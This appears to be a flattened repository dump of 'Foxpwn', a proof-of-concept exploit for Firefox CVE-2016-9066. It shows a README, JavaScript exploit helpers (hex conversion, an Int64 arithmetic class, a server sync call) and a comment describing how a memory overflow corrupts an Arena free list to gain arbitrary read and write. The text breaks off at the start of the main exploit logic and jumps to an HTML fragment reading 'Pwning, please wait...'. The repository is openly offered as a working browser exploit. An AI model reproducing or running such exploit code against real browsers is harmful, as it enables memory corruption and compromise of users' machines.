├── README.md ├── code.js ├── index.html ├── poc.py └── server.py /README.md: -------------------------------------------------------------------------------- 1 | # Foxpwn 2 | 3 | Proof-of-Concept exploit for CVE-2016-9066. Find a detailed writeup [here](https://saelo.github.io/posts/firefox-script-loader-overflow.html). 4 | -------------------------------------------------------------------------------- /code.js: -------------------------------------------------------------------------------- 1 | // 2 | // Proof-of-Concept exploit for CVE-???-??? 3 | // 4 | // Essentially, the bug allows us to overflow a 8GB memory region with more or less controlled data. 5 | // We use that to corrupt the free list of an Arena (a structure containing JSObject instances) 6 | // and with that force a newly allocated ArrayBuffer object to be placed inside the inline data 7 | // of another ArrayBuffer object. This gives us an arbitrary read+write primitive. 8 | // 9 | 10 | // 11 | // Utility stuff. 12 | // 13 | 14 | const KB = 0x400; 15 | const MB = 0x100000; 16 | const GB = 0x40000000; 17 | 18 | // Return the hexadecimal representation of the given byte. 19 | function hex(b) { 20 | return ('0' + b.toString(16)).substr(-2); 21 | } 22 | 23 | // Return the hexadecimal representation of the given byte array. 24 | function hexlify(bytes) { 25 | var res = []; 26 | for (var i = 0; i < bytes.length; i++) 27 | res.push(hex(bytes[i])); 28 | 29 | return res.join(''); 30 | } 31 | 32 | // Return the binary data represented by the given hexdecimal string. 33 | function unhexlify(hexstr) { 34 | if (hexstr.length % 2 == 1) 35 | throw new TypeError("Invalid hex string"); 36 | 37 | var bytes = new Uint8Array(hexstr.length / 2); 38 | for (var i = 0; i < hexstr.length; i += 2) 39 | bytes[i/2] = parseInt(hexstr.substr(i, 2), 16); 40 | 41 | return bytes; 42 | } 43 | 44 | function hexdump(data) { 45 | if (typeof data.BYTES_PER_ELEMENT !== 'undefined') 46 | data = Array.from(data); 47 | 48 | var lines = []; 49 | for (var i = 0; i < data.length; i += 16) { 50 | var chunk = data.slice(i, i+16); 51 | var parts = chunk.map(hex); 52 | if (parts.length > 8) 53 | parts.splice(8, 0, ' '); 54 | lines.push(parts.join(' ')); 55 | } 56 | 57 | return lines.join('\n'); 58 | } 59 | 60 | function print(msg) { 61 | console.log(msg); 62 | document.body.innerText += msg + '\n'; 63 | } 64 | 65 | // Tell the server that we have completed our next step and wait 66 | // for it to completes its next step. 67 | function synchronize() { 68 | var xhr = new XMLHttpRequest(); 69 | xhr.open('GET', location.origin + '/sync', false); 70 | // Server will block until the event has been fired 71 | xhr.send(); 72 | } 73 | 74 | // 75 | // Datatype to represent 64-bit integers. 76 | // 77 | // Internally, the integer is stored as a Uint8Array in little endian byte order. 78 | function Int64(v) { 79 | // The underlying byte array. 80 | var bytes = new Uint8Array(8); 81 | 82 | switch (typeof v) { 83 | case 'number': 84 | v = '0x' + Math.floor(v).toString(16); 85 | case 'string': 86 | if (v.startsWith('0x')) 87 | v = v.substr(2); 88 | if (v.length % 2 == 1) 89 | v = '0' + v; 90 | 91 | var bigEndian = unhexlify(v, 8); 92 | bytes.set(Array.from(bigEndian).reverse()); 93 | break; 94 | case 'object': 95 | if (v instanceof Int64) { 96 | bytes.set(v.bytes()); 97 | } else { 98 | if (v.length != 8) 99 | throw TypeError("Array must have excactly 8 elements."); 100 | bytes.set(v); 101 | } 102 | break; 103 | case 'undefined': 104 | break; 105 | default: 106 | throw TypeError("Int64 constructor requires an argument."); 107 | } 108 | 109 | // Return the underlying bytes of this number as array. 110 | this.bytes = function() { 111 | return Array.from(bytes); 112 | }; 113 | 114 | // Return the byte at the given index. 115 | this.byteAt = function(i) { 116 | return bytes[i]; 117 | }; 118 | 119 | // Return the value of this number as unsigned hex string. 120 | this.toString = function() { 121 | return '0x' + hexlify(Array.from(bytes).reverse()); 122 | }; 123 | 124 | // Basic arithmetic. 125 | // These functions assign the result of the computation to their 'this' object. 126 | 127 | // Decorator for Int64 instance operations. Takes care 128 | // of converting arguments to Int64 instances if required. 129 | function operation(f, nargs) { 130 | return function() { 131 | if (arguments.length != nargs) 132 | throw Error("Not enough arguments for function " + f.name); 133 | for (var i = 0; i < arguments.length; i++) 134 | if (!(arguments[i] instanceof Int64)) 135 | arguments[i] = new Int64(arguments[i]); 136 | return f.apply(this, arguments); 137 | }; 138 | } 139 | 140 | // this == other 141 | this.equals = operation(function(other) { 142 | for (var i = 0; i < 8; i++) { 143 | if (this.byteAt(i) != other.byteAt(i)) 144 | return false; 145 | } 146 | return true; 147 | }, 1); 148 | 149 | // this = -n (two's complement) 150 | this.assignNeg = operation(function neg(n) { 151 | for (var i = 0; i < 8; i++) 152 | bytes[i] = ~n.byteAt(i); 153 | 154 | return this.assignAdd(this, Int64.One); 155 | }, 1); 156 | 157 | // this = a + b 158 | this.assignAdd = operation(function add(a, b) { 159 | var carry = 0; 160 | for (var i = 0; i < 8; i++) { 161 | var cur = a.byteAt(i) + b.byteAt(i) + carry; 162 | carry = cur > 0xff | 0; 163 | bytes[i] = cur; 164 | } 165 | return this; 166 | }, 2); 167 | 168 | // this = a - b 169 | this.assignSub = operation(function sub(a, b) { 170 | var carry = 0; 171 | for (var i = 0; i < 8; i++) { 172 | var cur = a.byteAt(i) - b.byteAt(i) - carry; 173 | carry = cur < 0 | 0; 174 | bytes[i] = cur; 175 | } 176 | return this; 177 | }, 2); 178 | 179 | // this = a << 1 180 | this.assignLShift1 = operation(function lshift1(a) { 181 | var highBit = 0; 182 | for (var i = 0; i < 8; i++) { 183 | var cur = a.byteAt(i); 184 | bytes[i] = (cur << 1) | highBit; 185 | highBit = (cur & 0x80) >> 7; 186 | } 187 | return this; 188 | }, 1); 189 | 190 | // this = a >> 1 191 | this.assignRShift1 = operation(function rshift1(a) { 192 | var lowBit = 0; 193 | for (var i = 7; i >= 0; i--) { 194 | var cur = a.byteAt(i); 195 | bytes[i] = (cur >> 1) | lowBit; 196 | lowBit = (cur & 0x1) << 7; 197 | } 198 | return this; 199 | }, 1); 200 | 201 | // this = a & b 202 | this.assignAnd = operation(function and(a, b) { 203 | for (var i = 0; i < 8; i++) { 204 | bytes[i] = a.byteAt(i) & b.byteAt(i); 205 | } 206 | return this; 207 | }, 2); 208 | } 209 | 210 | // Constructs a new Int64 instance with the same bit representation as the provided double. 211 | Int64.fromJSValue = function(bytes) { 212 | bytes[7] = 0; 213 | bytes[6] = 0; 214 | return new Int64(bytes); 215 | }; 216 | 217 | // Convenience functions. These allocate a new Int64 to hold the result. 218 | 219 | // Return ~n (two's complement) 220 | function Neg(n) { 221 | return (new Int64()).assignNeg(n); 222 | } 223 | 224 | // Return a + b 225 | function Add(a, b) { 226 | return (new Int64()).assignAdd(a, b); 227 | } 228 | 229 | // Return a - b 230 | function Sub(a, b) { 231 | return (new Int64()).assignSub(a, b); 232 | } 233 | 234 | function LShift1(a) { 235 | return (new Int64()).assignLShift1(a); 236 | } 237 | 238 | function RShift1(a) { 239 | return (new Int64()).assignRShift1(a); 240 | } 241 | 242 | function And(a, b) { 243 | return (new Int64()).assignAnd(a, b); 244 | } 245 | 246 | function Equals(a, b) { 247 | return a.equals(b); 248 | } 249 | 250 | // Some commonly used numbers. 251 | Int64.Zero = new Int64(0); 252 | Int64.One = new Int64(1); 253 | 254 | // 255 | // Main exploit logic. 256 | // 257 | // 0. Insert a 11 | 12 |
13 | Pwning, please wait...